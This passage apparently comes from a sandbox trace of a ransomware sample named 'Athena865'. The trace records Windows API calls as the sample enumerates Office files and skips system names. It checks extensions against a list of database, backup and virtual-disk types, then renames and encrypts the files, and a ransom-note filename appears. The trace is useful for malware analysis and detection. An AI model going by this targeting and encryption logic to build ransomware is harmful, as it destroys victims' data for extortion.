(lpString1="sctrl.dll", lpString2="Athena865") returned 1 [0080.687] lstrlenW (lpString=".dll") returned 4 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".dll") returned 1 [0080.687] lstrlenW (lpString=".lnk") returned 4 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".lnk") returned 1 [0080.687] lstrlenW (lpString=".ini") returned 4 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".ini") returned 1 [0080.687] lstrlenW (lpString=".sys") returned 4 [0080.687] lstrcmpiW (lpString1="oisctrl.dll", lpString2=".sys") returned 1 [0080.687] lstrlenW (lpString="oisctrl.dll") returned 11 [0080.687] lstrlenW (lpString="bak") returned 3 [0080.687] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0080.687] lstrlenW (lpString="ba_") returned 3 [0080.687] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0080.688] lstrlenW (lpString="dbb") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0080.688] lstrlenW (lpString="vmdk") returned 4 [0080.688] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0080.688] lstrlenW (lpString="rar") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0080.688] lstrlenW (lpString="zip") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0080.688] lstrlenW (lpString="tgz") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0080.688] lstrlenW (lpString="vbox") returned 4 [0080.688] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0080.688] lstrlenW (lpString="vdi") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0080.688] lstrlenW (lpString="vhd") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0080.688] lstrlenW (lpString="vhdx") returned 4 [0080.688] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0080.688] lstrlenW (lpString="avhd") returned 4 [0080.688] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0080.688] lstrlenW (lpString="db") returned 2 [0080.688] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0080.688] lstrlenW (lpString="db2") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0080.688] lstrlenW (lpString="db3") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0080.688] lstrlenW (lpString="dbf") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0080.688] lstrlenW (lpString="mdf") returned 3 [0080.688] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0080.688] lstrlenW (lpString="mdb") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0080.689] lstrlenW (lpString="sql") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0080.689] lstrlenW (lpString="sqlite") returned 6 [0080.689] lstrcmpiW (lpString1="rl.dll", lpString2="sqlite") returned -1 [0080.689] lstrlenW (lpString="sqlite3") returned 7 [0080.689] lstrcmpiW (lpString1="trl.dll", lpString2="sqlite3") returned 1 [0080.689] lstrlenW (lpString="sqlitedb") returned 8 [0080.689] lstrcmpiW (lpString1="ctrl.dll", lpString2="sqlitedb") returned -1 [0080.689] lstrlenW (lpString="xml") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0080.689] lstrlenW (lpString="$er") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0080.689] lstrlenW (lpString="4dd") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0080.689] lstrlenW (lpString="4dl") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0080.689] lstrlenW (lpString="^^^") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0080.689] lstrlenW (lpString="abs") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0080.689] lstrlenW (lpString="abx") returned 3 [0080.689] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0080.689] lstrlenW (lpString="accdb") returned 5 [0080.689] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0080.689] lstrlenW (lpString="accdc") returned 5 [0080.689] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0080.689] lstrlenW (lpString="accde") returned 5 [0080.689] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0080.689] lstrlenW (lpString="accdr") returned 5 [0080.689] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0080.689] lstrlenW (lpString="accdt") returned 5 [0080.689] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0080.690] lstrlenW (lpString="accdw") returned 5 [0080.690] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0080.690] lstrlenW (lpString="accft") returned 5 [0080.690] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0080.690] lstrlenW (lpString="adb") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0080.690] lstrlenW (lpString="adb") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0080.690] lstrlenW (lpString="ade") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0080.690] lstrlenW (lpString="adf") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0080.690] lstrlenW (lpString="adn") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0080.690] lstrlenW (lpString="adp") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0080.690] lstrlenW (lpString="alf") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0080.690] lstrlenW (lpString="ask") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0080.690] lstrlenW (lpString="btr") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0080.690] lstrlenW (lpString="cat") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0080.690] lstrlenW (lpString="cdb") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0080.690] lstrlenW (lpString="ckp") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0080.690] lstrlenW (lpString="cma") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0080.690] lstrlenW (lpString="cpd") returned 3 [0080.690] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0080.691] lstrlenW (lpString="dacpac") returned 6 [0080.691] lstrcmpiW (lpString1="rl.dll", lpString2="dacpac") returned 1 [0080.691] lstrlenW (lpString="dad") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0080.691] lstrlenW (lpString="dadiagrams") returned 10 [0080.691] lstrcmpiW (lpString1="isctrl.dll", lpString2="dadiagrams") returned 1 [0080.691] lstrlenW (lpString="daschema") returned 8 [0080.691] lstrcmpiW (lpString1="ctrl.dll", lpString2="daschema") returned -1 [0080.691] lstrlenW (lpString="db-journal") returned 10 [0080.691] lstrcmpiW (lpString1="isctrl.dll", lpString2="db-journal") returned 1 [0080.691] lstrlenW (lpString="db-shm") returned 6 [0080.691] lstrcmpiW (lpString1="rl.dll", lpString2="db-shm") returned 1 [0080.691] lstrlenW (lpString="db-wal") returned 6 [0080.691] lstrcmpiW (lpString1="rl.dll", lpString2="db-wal") returned 1 [0080.691] lstrlenW (lpString="dbc") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0080.691] lstrlenW (lpString="dbs") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0080.691] lstrlenW (lpString="dbt") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0080.691] lstrlenW (lpString="dbv") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0080.691] lstrlenW (lpString="dbx") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0080.691] lstrlenW (lpString="dcb") returned 3 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0080.691] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0080.691] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0080.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\oisctrl.dll.Athena865") returned 64 [0080.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\oisctrl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\oisctrl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\oisctrl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oisctrl.dll.athena865"), dwFlags=0x1) returned 1 [0080.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\oisctrl.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oisctrl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.694] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27016) returned 1 [0080.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.694] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.695] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.695] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.695] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c90, lpName=0x0) returned 0x17c [0080.697] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c90) returned 0x100000 [0080.698] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.699] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.699] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.699] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0080.700] CloseHandle (hObject=0x17c) returned 1 [0080.700] CloseHandle (hObject=0x154) returned 1 [0080.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.700] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2=".") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="..") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="windows") returned -1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="bootmgr") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="temp") returned -1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="pagefile.sys") returned -1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="boot") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="ids.txt") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="ntuser.dat") returned 1 [0080.700] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="perflogs") returned -1 [0080.701] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2="MSBuild") returned 1 [0080.701] lstrlenW (lpString="OISGRAPH.DLL") returned 12 [0080.701] lstrcpyW (in: lpString1=0x241e89e, lpString2="OISGRAPH.DLL" | out: lpString1="OISGRAPH.DLL") returned="OISGRAPH.DLL" [0080.701] lstrlenW (lpString="OISGRAPH.DLL") returned 12 [0080.701] lstrlenW (lpString="Athena865") returned 9 [0080.701] lstrcmpiW (lpString1="GRAPH.DLL", lpString2="Athena865") returned 1 [0080.701] lstrlenW (lpString=".dll") returned 4 [0080.701] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2=".dll") returned 1 [0080.701] lstrlenW (lpString=".lnk") returned 4 [0080.701] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2=".lnk") returned 1 [0080.701] lstrlenW (lpString=".ini") returned 4 [0080.701] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2=".ini") returned 1 [0080.701] lstrlenW (lpString=".sys") returned 4 [0080.701] lstrcmpiW (lpString1="OISGRAPH.DLL", lpString2=".sys") returned 1 [0080.701] lstrlenW (lpString="OISGRAPH.DLL") returned 12 [0080.701] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL.Athena865") returned 65 [0080.701] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oisgraph.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oisgraph.dll.athena865"), dwFlags=0x1) returned 1 [0080.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OISGRAPH.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\oisgraph.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.703] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=368504) returned 1 [0080.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.703] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.704] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0080.704] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.704] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a280, lpName=0x0) returned 0x17c [0080.706] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a280) returned 0x2d50000 [0080.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.725] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.725] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.725] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.729] CloseHandle (hObject=0x17c) returned 1 [0080.729] CloseHandle (hObject=0x154) returned 1 [0080.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.731] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="..") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="windows") returned -1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="bootmgr") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="temp") returned -1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="pagefile.sys") returned -1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="boot") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="ids.txt") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="ntuser.dat") returned 1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="perflogs") returned -1 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2="MSBuild") returned 1 [0080.731] lstrlenW (lpString="OLKFSTUB.DLL") returned 12 [0080.731] lstrcpyW (in: lpString1=0x241e89e, lpString2="OLKFSTUB.DLL" | out: lpString1="OLKFSTUB.DLL") returned="OLKFSTUB.DLL" [0080.731] lstrlenW (lpString="OLKFSTUB.DLL") returned 12 [0080.731] lstrlenW (lpString="Athena865") returned 9 [0080.731] lstrcmpiW (lpString1="FSTUB.DLL", lpString2="Athena865") returned 1 [0080.731] lstrlenW (lpString=".dll") returned 4 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".dll") returned 1 [0080.731] lstrlenW (lpString=".lnk") returned 4 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".lnk") returned 1 [0080.731] lstrlenW (lpString=".ini") returned 4 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".ini") returned 1 [0080.731] lstrlenW (lpString=".sys") returned 4 [0080.731] lstrcmpiW (lpString1="OLKFSTUB.DLL", lpString2=".sys") returned 1 [0080.731] lstrlenW (lpString="OLKFSTUB.DLL") returned 12 [0080.731] lstrlenW (lpString="bak") returned 3 [0080.731] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.731] lstrlenW (lpString="ba_") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.732] lstrlenW (lpString="dbb") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.732] lstrlenW (lpString="vmdk") returned 4 [0080.732] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.732] lstrlenW (lpString="rar") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.732] lstrlenW (lpString="zip") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.732] lstrlenW (lpString="tgz") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.732] lstrlenW (lpString="vbox") returned 4 [0080.732] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.732] lstrlenW (lpString="vdi") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.732] lstrlenW (lpString="vhd") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.732] lstrlenW (lpString="vhdx") returned 4 [0080.732] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.732] lstrlenW (lpString="avhd") returned 4 [0080.732] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.732] lstrlenW (lpString="db") returned 2 [0080.732] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.732] lstrlenW (lpString="db2") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.732] lstrlenW (lpString="db3") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.732] lstrlenW (lpString="dbf") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.732] lstrlenW (lpString="mdf") returned 3 [0080.732] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.732] lstrlenW (lpString="mdb") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.733] lstrlenW (lpString="sql") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.733] lstrlenW (lpString="sqlite") returned 6 [0080.733] lstrcmpiW (lpString1="UB.DLL", lpString2="sqlite") returned 1 [0080.733] lstrlenW (lpString="sqlite3") returned 7 [0080.733] lstrcmpiW (lpString1="TUB.DLL", lpString2="sqlite3") returned 1 [0080.733] lstrlenW (lpString="sqlitedb") returned 8 [0080.733] lstrcmpiW (lpString1="STUB.DLL", lpString2="sqlitedb") returned 1 [0080.733] lstrlenW (lpString="xml") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.733] lstrlenW (lpString="$er") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.733] lstrlenW (lpString="4dd") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.733] lstrlenW (lpString="4dl") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.733] lstrlenW (lpString="^^^") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.733] lstrlenW (lpString="abs") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.733] lstrlenW (lpString="abx") returned 3 [0080.733] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.733] lstrlenW (lpString="accdb") returned 5 [0080.733] lstrcmpiW (lpString1="B.DLL", lpString2="accdb") returned 1 [0080.733] lstrlenW (lpString="accdc") returned 5 [0080.733] lstrcmpiW (lpString1="B.DLL", lpString2="accdc") returned 1 [0080.733] lstrlenW (lpString="accde") returned 5 [0080.733] lstrcmpiW (lpString1="B.DLL", lpString2="accde") returned 1 [0080.733] lstrlenW (lpString="accdr") returned 5 [0080.733] lstrcmpiW (lpString1="B.DLL", lpString2="accdr") returned 1 [0080.733] lstrlenW (lpString="accdt") returned 5 [0080.733] lstrcmpiW (lpString1="B.DLL", lpString2="accdt") returned 1 [0080.734] lstrlenW (lpString="accdw") returned 5 [0080.734] lstrcmpiW (lpString1="B.DLL", lpString2="accdw") returned 1 [0080.734] lstrlenW (lpString="accft") returned 5 [0080.734] lstrcmpiW (lpString1="B.DLL", lpString2="accft") returned 1 [0080.734] lstrlenW (lpString="adb") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.734] lstrlenW (lpString="adb") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.734] lstrlenW (lpString="ade") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.734] lstrlenW (lpString="adf") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.734] lstrlenW (lpString="adn") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.734] lstrlenW (lpString="adp") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.734] lstrlenW (lpString="alf") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.734] lstrlenW (lpString="ask") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.734] lstrlenW (lpString="btr") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.734] lstrlenW (lpString="cat") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.734] lstrlenW (lpString="cdb") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.734] lstrlenW (lpString="ckp") returned 3 [0080.734] lstrcmpiW (lpString1="DLL", 